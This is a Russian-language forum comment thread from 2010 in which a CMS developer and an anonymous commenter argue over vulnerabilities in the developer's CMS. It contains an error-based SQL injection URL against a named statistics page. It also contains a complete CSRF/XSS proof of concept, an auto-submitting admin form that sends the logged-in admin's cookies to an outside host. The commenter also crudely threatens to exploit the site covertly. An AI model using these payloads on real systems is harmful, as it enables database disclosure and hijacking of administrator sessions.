Форум  •  Баг-трекер

Нас обсуждают школьники rdot.org!

Лев Савранский     2010-08-20 01:45:16   
https://rdot.org/forum/showpost.php?p=5168&postcount=3

Добавить анонимный комментарий

Регистрация

Код проверки:

Anonymous Vulgaris     2010-08-20 16:58:28   
товаришь,"пенсионер" со 20летним стажем программирования. вам тут баги нашли вам о них сообщили. а вы так
Anonymous Vulgaris     2010-08-20 17:00:26   
основной тред здесь.
Лев Савранский     2010-08-20 22:03:22   
товарищ школьник, которому лень зарегиться!

Audistats дырку я закрыл через 10 минут.
http://dakota-cms.com/stats/index.php?month=1&year=2010+OR+(SELECT+COUNT(*)+FR OM+(SELECT+1+UNION+SELECT+2+UNION+SELECT+3)x+GROUP +BY+CONCAT(MID(VERSION(),1,63),+FLOOR(RAND(0)*2))) +--+


а насчет уязвимости админки - ну выведешь ты алерт. в чем профит то?

а как иначе при отключенном XSS скрипте выводить гугл мапс в публикациях твои одноклассники не ответили.

http://habrahabr.ru/blogs/php/102025/
Anonymous Vulgaris     2010-08-20 23:30:59   
<html lang="en">
<head>
<title>asdgasd</title>
</head>

<body>
<form action="http://demo.dakota-cms.com/admin/users/findby/lastname" method="post" name='sploit'>
<input type="hidden" name="q" value='[script]img=new Image(); img.src="http://pythonboard.appspot.com/snf.jpg?c="+[removed][script]' />
</form>
</body>
</html>
[script]document.forms[0].submit();[script]

вот такой код будет таскать кукисы у залогиненого админа. товаришь старпёр.
Anonymous Vulgaris     2010-08-20 23:51:59   

а как иначе при отключенном XSS скрипте выводить гугл мапс в публикациях твои одноклассники не ответили.

в админке у тебя же не фильтруется. дак любой запрос в том числе и get проверяй на наличие подписи. и тебе в админке отражённые xss не страшны.
Anonymous Vulgaris     2010-08-29 23:40:53   
Ага, 15-летний школьник нашел дырку в вашей ЦМС =(
Лев Савранский     2010-08-30 01:49:23   
этого не будет, сам попробуй
Anonymous Vulgaris     2010-08-31 22:31:53   
Ну и хрен тебе больше, а не аудит бесплатный.
Будем ебсти по тихому своими маленькими школьными письками!
Лев Савранский     2010-09-01 16:45:49   
Я так понимаю, тут вся элита хабра собралась.